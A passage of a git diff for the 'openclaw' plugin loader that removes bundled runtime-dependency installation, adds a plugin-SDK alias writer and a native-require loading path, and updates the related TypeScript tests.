clearPluginCommands(); clearCompactionProviders(); @@ -477,25 +459,17 @@ function createPluginJitiLoader(options: Pick { const tryNative = shouldPreferNativeJiti(modulePath); - const runtimeAliasMap = resolveBundledRuntimeDependencyJitiAliasMap(); return getCachedPluginJitiLoader({ cache: jitiLoaders, modulePath, importerUrl: import.meta.url, jitiFilename: modulePath, - ...(runtimeAliasMap - ? { - aliasMap: { - ...buildPluginLoaderAliasMap( - modulePath, - process.argv[1], - import.meta.url, - options.pluginSdkResolution, - ), - ...runtimeAliasMap, - }, - } - : {}), + aliasMap: buildPluginLoaderAliasMap( + modulePath, + process.argv[1], + import.meta.url, + options.pluginSdkResolution, + ), pluginSdkResolution: options.pluginSdkResolution, // Source .ts runtime shims import sibling ".js" specifiers that only exist // after build. Disable native loading for source entries so Jiti rewrites @@ -627,7 +601,6 @@ function buildCacheKey(params: { preferSetupRuntimeForChannelPlugins?: boolean; toolDiscovery?: boolean; loadModules?: boolean; - installBundledRuntimeDeps?: boolean; runtimeSubagentMode?: "default" | "explicit" | "gateway-bindable"; pluginSdkResolution?: PluginSdkResolutionPreference; coreGatewayMethodNames?: string[]; @@ -667,8 +640,6 @@ function buildCacheKey(params: { params.preferSetupRuntimeForChannelPlugins === true ? "prefer-setup" : "full"; const moduleLoadMode = params.loadModules === false ? "manifest-only" : "load-modules"; const discoveryMode = params.toolDiscovery === true ? "tool-discovery" : "default-discovery"; - const bundledRuntimeDepsMode = - params.installBundledRuntimeDeps === false ? "skip-runtime-deps" : "install-runtime-deps"; const runtimeSubagentMode = params.runtimeSubagentMode ?? "default"; const gatewayMethodsKey = JSON.stringify(params.coreGatewayMethodNames ?? []); const activationMode = params.activate === false ? "snapshot" : "active"; @@ -678,7 +649,7 @@ function buildCacheKey(params: { installs, loadPaths, activationMetadataKey: params.activationMetadataKey ?? "", - })}::${scopeKey}::${setupOnlyKey}::${setupOnlyModeKey}::${setupOnlyRequirementKey}::${startupChannelMode}::${moduleLoadMode}::${discoveryMode}::${bundledRuntimeDepsMode}::${runtimeSubagentMode}::${params.pluginSdkResolution ?? "auto"}::${gatewayMethodsKey}::${activationMode}`; + })}::${scopeKey}::${setupOnlyKey}::${setupOnlyModeKey}::${setupOnlyRequirementKey}::${startupChannelMode}::${moduleLoadMode}::${discoveryMode}::${runtimeSubagentMode}::${params.pluginSdkResolution ?? "auto"}::${gatewayMethodsKey}::${activationMode}`; } function matchesScopedPluginRequest(params: { @@ -756,7 +727,6 @@ function hasExplicitCompatibilityInputs(options: PluginLoadOptions): boolean { options.forceSetupOnlyChannelPlugins === true || options.requireSetupEntryForSetupOnlyChannelPlugins === true || options.preferSetupRuntimeForChannelPlugins === true || - options.installBundledRuntimeDeps === false || options.loadModules === false ); } @@ -773,18 +743,7 @@ function pluginLoadOptionsMatchCacheKey( options: PluginLoadOptions, expectedCacheKey: string, ): boolean { - if (resolvePluginLoadCacheContext(options).cacheKey === expectedCacheKey) { - return true; - } - if (options.installBundledRuntimeDeps !== false) { - return false; - } - return ( - resolvePluginLoadCacheContext({ - ...options, - installBundledRuntimeDeps: undefined, - }).cacheKey === expectedCacheKey - ); + return resolvePluginLoadCacheContext(options).cacheKey === expectedCacheKey; } type PluginRegistrationPlan = { @@ -878,6 +837,19 @@ function resolvePluginRegistrationPlan(params: { }; } +function applyManifestSnapshotMetadata( + record: PluginRecord, + manifestRecord: PluginManifestRecord, +): void { + record.channelIds = [...(manifestRecord.channels ?? [])]; + record.providerIds = [...(manifestRecord.providers ?? [])]; + record.cliBackendIds = [ + ...(manifestRecord.cliBackends ?? []), + ...(manifestRecord.setup?.cliBackends ?? []), + ]; + record.commands = (manifestRecord.commandAliases ?? []).map((alias) => alias.name); +} + function resolvePluginLoadCacheContext(options: PluginLoadOptions = {}) { const env = options.env ?? process.env; const cfg = applyTestPluginDefaults(options.config ?? {}, env); @@ -899,7 +871,6 @@ function resolvePluginLoadCacheContext(options: PluginLoadOptions = {}) { const requireSetupEntryForSetupOnlyChannelPlugins = options.requireSetupEntryForSetupOnlyChannelPlugins === true; const preferSetupRuntimeForChannelPlugins = options.preferSetupRuntimeForChannelPlugins === true; - const shouldInstallBundledRuntimeDeps = options.installBundledRuntimeDeps !== false; const runtimeSubagentMode = resolveRuntimeSubagentMode(options.runtimeOptions); const coreGatewayMethodNames = resolveCoreGatewayMethodNames(options); const installRecords = { @@ -922,7 +893,6 @@ function resolvePluginLoadCacheContext(options: PluginLoadOptions = {}) { preferSetupRuntimeForChannelPlugins, toolDiscovery: options.toolDiscovery, loadModules: options.loadModules, - installBundledRuntimeDeps: options.installBundledRuntimeDeps, runtimeSubagentMode, pluginSdkResolution: options.pluginSdkResolution, coreGatewayMethodNames, @@ -942,7 +912,6 @@ function resolvePluginLoadCacheContext(options: PluginLoadOptions = {}) { preferSetupRuntimeForChannelPlugins, shouldActivate: options.activate !== false, shouldLoadModules: options.loadModules !== false, - shouldInstallBundledRuntimeDeps, runtimeSubagentMode, installRecords, cacheKey, @@ -1210,7 +1179,6 @@ export function loadOpenClawPlugins(options: PluginLoadOptions = {}): PluginRegi preferSetupRuntimeForChannelPlugins, shouldActivate, shouldLoadModules, - shouldInstallBundledRuntimeDeps, cacheKey, runtimeSubagentMode, installRecords, @@ -1384,6 +1352,7 @@ export function loadOpenClawPlugins(options: PluginLoadOptions = {}): PluginRegi workspaceDir: options.workspaceDir, extraPaths: normalized.loadPaths, env, + installRecords, }); const manifestRegistry = suppliedManifestRegistry ?? @@ -1588,32 +1557,6 @@ export function loadOpenClawPlugins(options: PluginLoadOptions = {}): PluginRegi markPluginActivationDisabled(record, enableState.reason); } - if (shouldLoadModules && candidate.origin === "bundled" && enableState.enabled) { - try { - const preparedRuntimeRoot = prepareBundledRuntimeLoadRootForPlugin({ - pluginId: record.id, - pluginRoot, - modulePath: runtimeCandidateSource, - ...(runtimeSetupSource ? { setupModulePath: runtimeSetupSource } : {}), - env, - config: cfg, - installMissingDeps: shouldInstallBundledRuntimeDeps, - previousRepairError: options.bundledRuntimeDepsRepairError, - shouldLog: shouldActivate, - logger, - ...(options.bundledRuntimeDepsInstaller - ? { installer: options.bundledRuntimeDepsInstaller } - : {}), - }); - runtimePluginRoot = preparedRuntimeRoot.pluginRoot; - runtimeCandidateSource = preparedRuntimeRoot.modulePath; - runtimeSetupSource = preparedRuntimeRoot.setupModulePath; - } catch (error) { - pushPluginLoadError(`failed to prepare bundled runtime deps: ${String(error)}`); - continue; - } - } - if (record.format === "bundle") { const unsupportedCapabilities = (record.bundleCapabilities ?? []).filter( (capability) => @@ -1747,6 +1690,7 @@ export function loadOpenClawPlugins(options: PluginLoadOptions = {}): PluginRegi } if (!shouldLoadModules) { + applyManifestSnapshotMetadata(record, manifestRecord); registry.plugins.push(record); seenIds.set(pluginId, candidate.origin); continue; @@ -1802,11 +1746,7 @@ export function loadOpenClawPlugins(options: PluginLoadOptions = {}): PluginRegi } if (registrationPlan.loadSetupEntry && manifestRecord.setupSource) { - const setupRegistration = resolveSetupChannelRegistration(mod, { - installRuntimeDeps: - shouldInstallBundledRuntimeDeps && - (enableState.enabled || forceSetupOnlyChannelPlugins), - }); + const setupRegistration = resolveSetupChannelRegistration(mod); if (setupRegistration.loadError) { recordPluginError({ logger, @@ -2240,6 +2180,7 @@ export async function loadOpenClawPluginCliRegistry( workspaceDir: options.workspaceDir, extraPaths: normalized.loadPaths, env, + installRecords, }); const manifestRegistry = loadPluginManifestRegistry({ config: cfg, diff --git a/src/plugins/manifest-registry.ts b/src/plugins/manifest-registry.ts index 26ebd1f30c2..8898d4c94f4 100644 --- a/src/plugins/manifest-registry.ts +++ b/src/plugins/manifest-registry.ts @@ -540,6 +540,15 @@ export function loadPluginManifestRegistry( const config = params.config ?? {}; const normalized = normalizePluginsConfigWithResolver(config.plugins); const env = params.env ?? process.env; + let installRecords = params.installRecords; + let installRecordsLoaded = Boolean(params.installRecords); + const getInstallRecords = (): Record => { + if (!installRecordsLoaded) { + installRecords = loadInstalledPluginIndexInstallRecordsSync({ env }); + installRecordsLoaded = true; + } + return installRecords ?? {}; + }; const discovery = params.candidates ? { @@ -550,6 +559,7 @@ export function loadPluginManifestRegistry( workspaceDir: params.workspaceDir, extraPaths: normalized.loadPaths, env, + installRecords: getInstallRecords(), }); const diagnostics: PluginDiagnostic[] = [...discovery.diagnostics]; const candidates: PluginCandidate[] = discovery.candidates; @@ -557,15 +567,6 @@ export function loadPluginManifestRegistry( const seenIds = new Map(); const realpathCache = new Map(); const currentHostVersion = resolveCompatibilityHostVersion(env); - let installRecords = params.installRecords; - let installRecordsLoaded = Boolean(params.installRecords); - const getInstallRecords = (): Record => { - if (!installRecordsLoaded) { - installRecords = loadInstalledPluginIndexInstallRecordsSync({ env }); - installRecordsLoaded = true; - } - return installRecords ?? {}; - }; for (const candidate of candidates) { const rejectHardlinks = candidate.origin !== "bundled"; diff --git a/src/plugins/plugin-sdk-dist-alias.ts b/src/plugins/plugin-sdk-dist-alias.ts new file mode 100644 index 00000000000..c826e67a935 --- /dev/null +++ b/src/plugins/plugin-sdk-dist-alias.ts @@ -0,0 +1,60 @@ +import fs from "node:fs"; +import path from "node:path"; + +function writeRuntimeJsonFile(targetPath: string, value: unknown): void { + fs.mkdirSync(path.dirname(targetPath), { recursive: true }); + fs.writeFileSync(targetPath, `${JSON.stringify(value, null, 2)}\n`, "utf8"); +} + +function writeRuntimeModuleWrapper(sourcePath: string, targetPath: string): void { + const relative = `./${path.relative(path.dirname(targetPath), sourcePath).split(path.sep).join("/")}`; + const content = [ + `export * from ${JSON.stringify(relative)};`, + `export { default } from ${JSON.stringify(relative)};`, + "", + ].join("\n"); + try { + if (fs.readFileSync(targetPath, "utf8") === content) { + return; + } + } catch { + // Missing or unreadable wrapper; rewrite below. + } + fs.mkdirSync(path.dirname(targetPath), { recursive: true }); + fs.writeFileSync(targetPath, content, "utf8"); +} + +export function ensureOpenClawPluginSdkAlias(distRoot: string): void { + const pluginSdkDir = path.join(distRoot, "plugin-sdk"); + if (!fs.existsSync(pluginSdkDir)) { + return; + } + + const aliasDir = path.join(distRoot, "extensions", "node_modules", "openclaw"); + const pluginSdkAliasDir = path.join(aliasDir, "plugin-sdk"); + writeRuntimeJsonFile(path.join(aliasDir, "package.json"), { + name: "openclaw", + type: "module", + exports: { + "./plugin-sdk": "./plugin-sdk/index.js", + "./plugin-sdk/*": "./plugin-sdk/*.js", + }, + }); + try { + if (fs.existsSync(pluginSdkAliasDir) && !fs.lstatSync(pluginSdkAliasDir).isDirectory()) { + fs.rmSync(pluginSdkAliasDir, { recursive: true, force: true }); + } + } catch { + // Another process may be creating the alias at the same time. + } + fs.mkdirSync(pluginSdkAliasDir, { recursive: true }); + for (const entry of fs.readdirSync(pluginSdkDir, { withFileTypes: true })) { + if (!entry.isFile() || path.extname(entry.name) !== ".js") { + continue; + } + writeRuntimeModuleWrapper( + path.join(pluginSdkDir, entry.name), + path.join(pluginSdkAliasDir, entry.name), + ); + } +} diff --git a/src/plugins/provider-hook-runtime.ts b/src/plugins/provider-hook-runtime.ts index 0f18888b35e..d9c9191757c 100644 --- a/src/plugins/provider-hook-runtime.ts +++ b/src/plugins/provider-hook-runtime.ts @@ -27,7 +27,6 @@ type ProviderRuntimePluginLookupParams = { applyAutoEnable?: boolean; bundledProviderAllowlistCompat?: boolean; bundledProviderVitestCompat?: boolean; - installBundledRuntimeDeps?: boolean; }; function matchesProviderId(provider: ProviderPlugin, providerId: string): boolean { @@ -52,7 +51,6 @@ function resolveProviderRuntimePluginCacheKey(params: ProviderRuntimePluginLooku applyAutoEnable: params.applyAutoEnable ?? null, bundledProviderAllowlistCompat: params.bundledProviderAllowlistCompat ?? null, bundledProviderVitestCompat: params.bundledProviderVitestCompat ?? null, - installBundledRuntimeDeps: params.installBundledRuntimeDeps ?? null, }); } @@ -84,7 +82,6 @@ export function resolveProviderPluginsForHooks(params: { applyAutoEnable?: boolean; bundledProviderAllowlistCompat?: boolean; bundledProviderVitestCompat?: boolean; - installBundledRuntimeDeps?: boolean; }): ProviderPlugin[] { const env = params.env ?? process.env; const workspaceDir = params.workspaceDir ?? getActivePluginRegistryWorkspaceDirFromState(); @@ -97,7 +94,6 @@ export function resolveProviderPluginsForHooks(params: { applyAutoEnable: params.applyAutoEnable, bundledProviderAllowlistCompat: params.bundledProviderAllowlistCompat ?? true, bundledProviderVitestCompat: params.bundledProviderVitestCompat ?? true, - installBundledRuntimeDeps: params.installBundledRuntimeDeps, }) ) { return []; @@ -110,7 +106,6 @@ export function resolveProviderPluginsForHooks(params: { applyAutoEnable: params.applyAutoEnable, bundledProviderAllowlistCompat: params.bundledProviderAllowlistCompat ?? true, bundledProviderVitestCompat: params.bundledProviderVitestCompat ?? true, - installBundledRuntimeDeps: params.installBundledRuntimeDeps, }); return resolved; } @@ -135,7 +130,6 @@ export function resolveProviderRuntimePlugin( applyAutoEnable: params.applyAutoEnable, bundledProviderAllowlistCompat: params.bundledProviderAllowlistCompat, bundledProviderVitestCompat: params.bundledProviderVitestCompat, - installBundledRuntimeDeps: params.installBundledRuntimeDeps, }).find((plugin) => { if (apiOwnerHint) { return ( diff --git a/src/plugins/provider-public-artifacts.test.ts b/src/plugins/provider-public-artifacts.test.ts index e7c9cfc1224..fff9e0bc8b1 100644 --- a/src/plugins/provider-public-artifacts.test.ts +++ b/src/plugins/provider-public-artifacts.test.ts @@ -1,3 +1,6 @@ +import fs from "node:fs"; +import os from "node:os"; +import path from "node:path"; import { importFreshModule } from "openclaw/plugin-sdk/test-fixtures"; import { afterEach, describe, expect, it, vi } from "vitest"; import type { ModelProviderConfig } from "../config/types.models.js"; @@ -5,6 +8,7 @@ import { resolveBundledProviderPolicySurface } from "./provider-public-artifacts describe("provider public artifacts", () => { afterEach(() => { + vi.doUnmock("./bundled-dir.js"); vi.doUnmock("./public-surface-loader.js"); vi.resetModules(); }); @@ -26,29 +30,68 @@ describe("provider public artifacts", () => { ).toBe(providerConfig); }); - it("resolves multi-provider policy artifacts by manifest-owned provider id", () => { - const surface = resolveBundledProviderPolicySurface("openai-codex"); + it("resolves multi-provider policy artifacts by manifest-owned provider id", async () => { + const bundledPluginsDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-provider-policy-")); + const pluginDir = path.join(bundledPluginsDir, "openai"); + fs.mkdirSync(pluginDir, { recursive: true }); + fs.writeFileSync( + path.join(pluginDir, "openclaw.plugin.json"), + JSON.stringify({ providers: ["openai", "openai-codex"] }), + ); - expect(surface?.resolveThinkingProfile).toBeTypeOf("function"); - expect( - surface - ?.resolveThinkingProfile?.({ - provider: "openai-codex", - modelId: "gpt-5.5", - }) - ?.levels.map((level) => level.id), - ).toContain("xhigh"); - expect( - surface - ?.resolveThinkingProfile?.({ - provider: "openai-codex", - modelId: "gpt-4.1", - }) - ?.levels.map((level) => level.id), - ).not.toContain("xhigh"); + const resolveThinkingProfile = vi.fn(({ modelId }: { modelId: string }) => ({ + levels: modelId === "gpt-5.5" ? [{ id: "xhigh" }] : [{ id: "low" }], + })); + const loadBundledPluginPublicArtifactModuleSync = vi.fn(({ dirName }: { dirName: string }) => { + if (dirName !== "openai") { + throw new Error(`Unable to resolve bundled plugin public surface ${dirName}`); + } + return { resolveThinkingProfile }; + }); + + vi.doMock("./bundled-dir.js", () => ({ + resolveBundledPluginsDir: () => bundledPluginsDir, + })); + vi.doMock("./public-surface-loader.js", () => ({ + loadBundledPluginPublicArtifactModuleSync, + })); + vi.resetModules(); + + try { + const { resolveBundledProviderPolicySurface: resolvePolicySurface } = await importFreshModule< + typeof import("./provider-public-artifacts.js") + >(import.meta.url, "./provider-public-artifacts.js?scope=provider-alias"); + + const surface = resolvePolicySurface("openai-codex"); + + expect(surface?.resolveThinkingProfile).toBeTypeOf("function"); + expect(loadBundledPluginPublicArtifactModuleSync).toHaveBeenCalledWith({ + dirName: "openai", + artifactBasename: "provider-policy-api.js", + installRuntimeDeps: false, + }); + expect( + surface + ?.resolveThinkingProfile?.({ + provider: "openai-codex", + modelId: "gpt-5.5", + }) + ?.levels.map((level) => level.id), + ).toContain("xhigh"); + expect( + surface + ?.resolveThinkingProfile?.({ + provider: "openai-codex", + modelId: "gpt-4.1", + }) + ?.levels.map((level) => level.id), + ).not.toContain("xhigh"); + } finally { + fs.rmSync(bundledPluginsDir, { force: true, recursive: true }); + } }); - it("loads provider policy surfaces without staging runtime deps", async () => { + it("loads provider policy surfaces without package-manager repair", async () => { const loadBundledPluginPublicArtifactModuleSync = vi.fn(() => ({ normalizeConfig: (ctx: { providerConfig: ModelProviderConfig }) => ctx.providerConfig, })); diff --git a/src/plugins/provider-runtime.test.ts b/src/plugins/provider-runtime.test.ts index acb820ceb29..bd4ebcbf8f3 100644 --- a/src/plugins/provider-runtime.test.ts +++ b/src/plugins/provider-runtime.test.ts @@ -451,8 +451,7 @@ describe("provider-runtime", () => { resolvePluginProvidersMock.mockImplementation((params) => params.applyAutoEnable === false && params.bundledProviderAllowlistCompat === false && - params.bundledProviderVitestCompat === false && - params.installBundledRuntimeDeps === false + params.bundledProviderVitestCompat === false ? [] : [runtimeProvider], ); diff --git a/src/plugins/provider-runtime.ts b/src/plugins/provider-runtime.ts index 2edabae1a1c..7264db2c055 100644 --- a/src/plugins/provider-runtime.ts +++ b/src/plugins/provider-runtime.ts @@ -861,7 +861,6 @@ export function resolveProviderSyntheticAuthWithPlugin(params: { applyAutoEnable: false, bundledProviderAllowlistCompat: false, bundledProviderVitestCompat: false, - installBundledRuntimeDeps: false, })?.resolveSyntheticAuth?.(params.context); if (runtimeResolved) { return runtimeResolved; @@ -876,7 +875,6 @@ export function resolveProviderSyntheticAuthWithPlugin(params: { applyAutoEnable: false, bundledProviderAllowlistCompat: false, bundledProviderVitestCompat: false, - installBundledRuntimeDeps: false, })?.resolveSyntheticAuth?.(params.context); if (runtimeProviderResolved) { return runtimeProviderResolved; diff --git a/src/plugins/providers.runtime.ts b/src/plugins/providers.runtime.ts index c2439f025c6..fff916b5263 100644 --- a/src/plugins/providers.runtime.ts +++ b/src/plugins/providers.runtime.ts @@ -261,7 +261,6 @@ function resolveRuntimeProviderPluginLoadState( pluginSdkResolution: params.pluginSdkResolution, cache: params.cache ?? true, activate: params.activate ?? false, - installBundledRuntimeDeps: params.installBundledRuntimeDeps ?? false, }, ); return { loadOptions }; @@ -294,7 +293,6 @@ export function resolvePluginProviders(params: { activate?: boolean; cache?: boolean; applyAutoEnable?: boolean; - installBundledRuntimeDeps?: boolean; pluginSdkResolution?: PluginLoadOptions["pluginSdkResolution"]; mode?: "runtime" | "setup"; includeUntrustedWorkspacePlugins?: boolean; diff --git a/src/plugins/public-surface-loader.test.ts b/src/plugins/public-surface-loader.test.ts index 21c69e84903..454a0f80fd8 100644 --- a/src/plugins/public-surface-loader.test.ts +++ b/src/plugins/public-surface-loader.test.ts @@ -3,13 +3,9 @@ import os from "node:os"; import path from "node:path"; import { importFreshModule } from "openclaw/plugin-sdk/test-fixtures"; import { afterEach, describe, expect, it, vi } from "vitest"; -import { resolveBundledRuntimeDependencyInstallRoot } from "./bundled-runtime-deps-roots.js"; -import { clearBundledRuntimeDependencyNodePaths } from "./bundled-runtime-deps.js"; -import { writeGeneratedRuntimeDepsManifest } from "./test-helpers/bundled-runtime-deps-fixtures.js"; const tempDirs: string[] = []; const originalBundledPluginsDir = process.env.OPENCLAW_BUNDLED_PLUGINS_DIR; -const originalPluginStageDir = process.env.OPENCLAW_PLUGIN_STAGE_DIR; function createTempDir(): string { const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-public-surface-loader-")); @@ -17,78 +13,6 @@ function createTempDir(): string { return tempDir; } -function createPackagedPublicArtifactWithStagedRuntimeDep(): { - bundledPluginsDir: string; - pluginRoot: string; - stageRoot: string; -} { - const packageRoot = createTempDir(); - const pluginRoot = path.join(packageRoot, "dist", "extensions", "demo"); - const stageRoot = path.join(packageRoot, "stage"); - fs.mkdirSync(pluginRoot, { recursive: true }); - fs.writeFileSync( - path.join(packageRoot, "package.json"), - JSON.stringify({ name: "openclaw", version: "0.0.0", type: "module" }, null, 2), - "utf8", - ); - fs.writeFileSync( - path.join(pluginRoot, "package.json"), - JSON.stringify( - { - name: "@openclaw/plugin-demo", - version: "0.0.0", - type: "module", - dependencies: { - "public-artifact-runtime-dep": "1.0.0", - }, - }, - null, - 2, - ), - "utf8", - ); - fs.writeFileSync( - path.join(pluginRoot, "provider-policy-api.js"), - [ - 'import { marker as depMarker } from "public-artifact-runtime-dep";', - "export const marker = `artifact:${depMarker}`;", - "", - ].join("\n"), - "utf8", - ); - - const installRoot = resolveBundledRuntimeDependencyInstallRoot(pluginRoot, { - env: { - ...process.env, - OPENCLAW_PLUGIN_STAGE_DIR: stageRoot, - }, - }); - const depRoot = path.join(installRoot, "node_modules", "public-artifact-runtime-dep"); - fs.mkdirSync(depRoot, { recursive: true }); - fs.writeFileSync( - path.join(depRoot, "package.json"), - JSON.stringify( - { - name: "public-artifact-runtime-dep", - version: "1.0.0", - type: "module", - exports: "./index.js", - }, - null, - 2, - ), - "utf8", - ); - fs.writeFileSync(path.join(depRoot, "index.js"), 'export const marker = "staged";\n', "utf8"); - writeGeneratedRuntimeDepsManifest(installRoot, ["public-artifact-runtime-dep@1.0.0"]); - - return { - bundledPluginsDir: path.join(packageRoot, "dist", "extensions"), - pluginRoot, - stageRoot, - }; -} - afterEach(() => { for (const tempDir of tempDirs.splice(0)) { fs.rmSync(tempDir, { recursive: true, force: true }); @@ -98,21 +22,15 @@ afterEach(() => { vi.doUnmock("jiti"); vi.doUnmock("./native-module-require.js"); vi.doUnmock("node:module"); - clearBundledRuntimeDependencyNodePaths(); if (originalBundledPluginsDir === undefined) { delete process.env.OPENCLAW_BUNDLED_PLUGINS_DIR; } else { process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = originalBundledPluginsDir; } - if (originalPluginStageDir === undefined) { - delete process.env.OPENCLAW_PLUGIN_STAGE_DIR; - } else { - process.env.OPENCLAW_PLUGIN_STAGE_DIR = originalPluginStageDir; - } }); describe("bundled plugin public surface loader", () => { - it("uses native Jiti import for Windows dist public artifact loads", async () => { + it("uses native require for Windows dist public artifact loads", async () => { const createJiti = vi.fn(() => vi.fn(() => ({ marker: "windows-dist-ok" }))); vi.doMock("jiti", () => ({ createJiti, @@ -120,7 +38,10 @@ describe("bundled plugin public surface loader", () => { vi.doMock("./native-module-require.js", () => ({ isJavaScriptModulePath: (modulePath: string) => modulePath.endsWith(".js") || modulePath.endsWith(".mjs") || modulePath.endsWith(".cjs"), - tryNativeRequireJavaScriptModule: () => ({ ok: false }), + tryNativeRequireJavaScriptModule: () => ({ + ok: true, + moduleExport: { marker: "windows-dist-ok" }, + }), })); const platformSpy = vi.spyOn(process, "platform", "get").mockReturnValue("win32"); vi.resetModules(); @@ -143,12 +64,7 @@ describe("bundled plugin public surface loader", () => { artifactBasename: "provider-policy-api.js", }).marker, ).toBe("windows-dist-ok"); - expect(createJiti).toHaveBeenCalledWith( - expect.any(String), - expect.objectContaining({ - tryNative: true, - }), - ); + expect(createJiti).not.toHaveBeenCalled(); } finally { platformSpy.mockRestore(); } @@ -196,7 +112,7 @@ describe("bundled plugin public surface loader", () => { expect(createJiti).not.toHaveBeenCalled(); }); - it("reuses one bundled dist jiti loader across public artifacts with the same native mode", async () => { + it("keeps bundled dist public artifacts on the native path", async () => { const createJiti = vi.fn(() => vi.fn((modulePath: string) => ({ modulePath }))); vi.doMock("jiti", () => ({ createJiti, @@ -204,7 +120,10 @@ describe("bundled plugin public surface loader", () => { vi.doMock("./native-module-require.js", () => ({ isJavaScriptModulePath: (modulePath: string) => modulePath.endsWith(".js") || modulePath.endsWith(".mjs") || modulePath.endsWith(".cjs"), - tryNativeRequireJavaScriptModule: () => ({ ok: false }), + tryNativeRequireJavaScriptModule: (modulePath: string) => ({ + ok: true, + moduleExport: { marker: path.basename(path.dirname(modulePath)) }, + }), })); vi.resetModules(); @@ -222,35 +141,20 @@ describe("bundled plugin public surface loader", () => { fs.writeFileSync(firstPath, 'export const marker = "demo-a";\n', "utf8"); fs.writeFileSync(secondPath, 'export const marker = "demo-b";\n', "utf8"); - publicSurfaceLoader.loadBundledPluginPublicArtifactModuleSync<{ modulePath: string }>({ - dirName: "demo-a", - artifactBasename: "api.js", - }); - publicSurfaceLoader.loadBundledPluginPublicArtifactModuleSync<{ modulePath: string }>({ - dirName: "demo-b", - artifactBasename: "api.js", - }); + expect( + publicSurfaceLoader.loadBundledPluginPublicArtifactModuleSync<{ marker: string }>({ + dirName: "demo-a", + artifactBasename: "api.js", + }).marker, + ).toBe("demo-a"); + expect( + publicSurfaceLoader.loadBundledPluginPublicArtifactModuleSync<{ marker: string }>({ + dirName: "demo-b", + artifactBasename: "api.js", + }).marker, + ).toBe("demo-b"); - expect(createJiti).toHaveBeenCalledTimes(1); - }); - - it("loads built public artifacts through staged runtime deps", async () => { - const publicSurfaceLoader = await importFreshModule< - typeof import("./public-surface-loader.js") - >(import.meta.url, "./public-surface-loader.js?scope=runtime-deps"); - const fixture = createPackagedPublicArtifactWithStagedRuntimeDep(); - process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = fixture.bundledPluginsDir; - process.env.OPENCLAW_PLUGIN_STAGE_DIR = fixture.stageRoot; - - const loaded = publicSurfaceLoader.loadBundledPluginPublicArtifactModuleSync<{ - marker: string; - }>({ - dirName: "demo", - artifactBasename: "provider-policy-api.js", - }); - - expect(loaded.marker).toBe("artifact:staged"); - expect(fs.existsSync(path.join(fixture.pluginRoot, "node_modules"))).toBe(false); + expect(createJiti).not.toHaveBeenCalled(); }); it("rejects public artifacts that change after boundary validation", async () => { diff --git a/src/plugins/public-surface-loader.ts b/src/plugins/public-surface-loader.ts index b54dd8ec1be..ff59502804c 100644 --- a/src/plugins/public-surface-loader.ts +++ b/src/plugins/public-surface-loader.ts @@ -7,6 +7,7 @@ import { sameFileIdentity } from "../infra/file-identity.js"; import { resolveBundledPluginsDir } from "./bundled-dir.js"; import { prepareBuiltBundledPluginPublicSurfaceLocation } from "./bundled-public-surface-runtime-root.js"; import { getCachedPluginJitiLoader, type PluginJitiLoaderCache } from "./jiti-loader-cache.js"; +import { tryNativeRequireJavaScriptModule } from "./native-module-require.js"; import { resolveBundledPluginPublicSurfacePath } from "./public-surface-runtime.js"; import { isBundledPluginExtensionPath, @@ -112,6 +113,12 @@ function getJiti(modulePath: string) { function loadPublicSurfaceModule(modulePath: string): unknown { const tryNative = resolvePluginLoaderJitiTryNative(modulePath, { preferBuiltDist: true }); + if (tryNative) { + const nativeModule = tryNativeRequireJavaScriptModule(modulePath, { allowWindows: true }); + if (nativeModule.ok) { + return nativeModule.moduleExport; + } + } if (canUseSourceArtifactRequire({ modulePath, tryNative })) { return sourceArtifactRequire(modulePath); } diff --git a/src/plugins/runtime-plugin-boundary.whatsapp.test.ts b/src/plugins/runtime-plugin-boundary.whatsapp.test.ts index 92f381e5300..2a392ded435 100644 --- a/src/plugins/runtime-plugin-boundary.whatsapp.test.ts +++ b/src/plugins/runtime-plugin-boundary.whatsapp.test.ts @@ -3,10 +3,6 @@ import path from "node:path"; import { bundledDistPluginFile } from "openclaw/plugin-sdk/test-fixtures"; import { afterEach, describe, expect, it } from "vitest"; import { stageBundledPluginRuntime } from "../../scripts/stage-bundled-plugin-runtime.mjs"; -import { - clearBundledRuntimeDependencyJitiAliases, - registerBundledRuntimeDependencyJitiAliases, -} from "./bundled-runtime-deps-jiti-aliases.js"; import type { PluginJitiLoaderCache } from "./jiti-loader-cache.js"; import { loadPluginBoundaryModuleWithJiti } from "./runtime/runtime-plugin-boundary.js"; import { cleanupTrackedTempDirs, makeTrackedTempDir } from "./test-helpers/fs-fixtures.js"; @@ -123,7 +119,6 @@ function expectSharedWhatsAppListenerState(runtimePluginDir: string, accountId: } afterEach(() => { - clearBundledRuntimeDependencyJitiAliases(); cleanupTrackedTempDirs(tempDirs); }); @@ -131,77 +126,4 @@ describe("runtime plugin boundary whatsapp seam", () => { it("shares listener state between staged light and heavy runtime modules", () => { expectSharedWhatsAppListenerState(createBundledWhatsAppRuntimeFixture(), "work"); }); - - it("resolves staged root runtime dependency aliases while loading boundary modules", () => { - const packageRoot = makeTrackedTempDir("openclaw-runtime-boundary-alias", tempDirs); - const stageRoot = makeTrackedTempDir("openclaw-runtime-boundary-deps", tempDirs); - writeRuntimeFixtureText( - packageRoot, - "package.json", - JSON.stringify( - { - name: "openclaw", - type: "module", - bin: { - openclaw: "openclaw.mjs", - }, - exports: { - "./plugin-sdk": { - default: "./dist/plugin-sdk/index.js", - }, - }, - }, - null, - 2, - ), - ); - writeRuntimeFixtureText(packageRoot, "openclaw.mjs", "export {};\n"); - writeRuntimeFixtureText( - packageRoot, - bundledDistPluginFile("acpx", "runtime-api.js"), - 'export { marker } from "../../root-runtime-chunk.js";\n', - ); - writeRuntimeFixtureText( - packageRoot, - "dist/root-runtime-chunk.js", - 'import { marker as depMarker } from "package-only-runtime-dep";\nexport const marker = depMarker;\n', - ); - stageBundledPluginRuntime({ repoRoot: packageRoot }); - - writeRuntimeFixtureText( - stageRoot, - "package.json", - JSON.stringify({ - dependencies: { - "package-only-runtime-dep": "1.0.0", - }, - }), - ); - writeRuntimeFixtureText( - stageRoot, - "node_modules/package-only-runtime-dep/package.json", - JSON.stringify({ - name: "package-only-runtime-dep", - version: "1.0.0", - exports: { - ".": "./index.js", - }, - type: "module", - }), - ); - writeRuntimeFixtureText( - stageRoot, - "node_modules/package-only-runtime-dep/index.js", - 'export const marker = "staged-runtime-dep";\n', - ); - registerBundledRuntimeDependencyJitiAliases(stageRoot); - - const loaders: PluginJitiLoaderCache = new Map(); - const 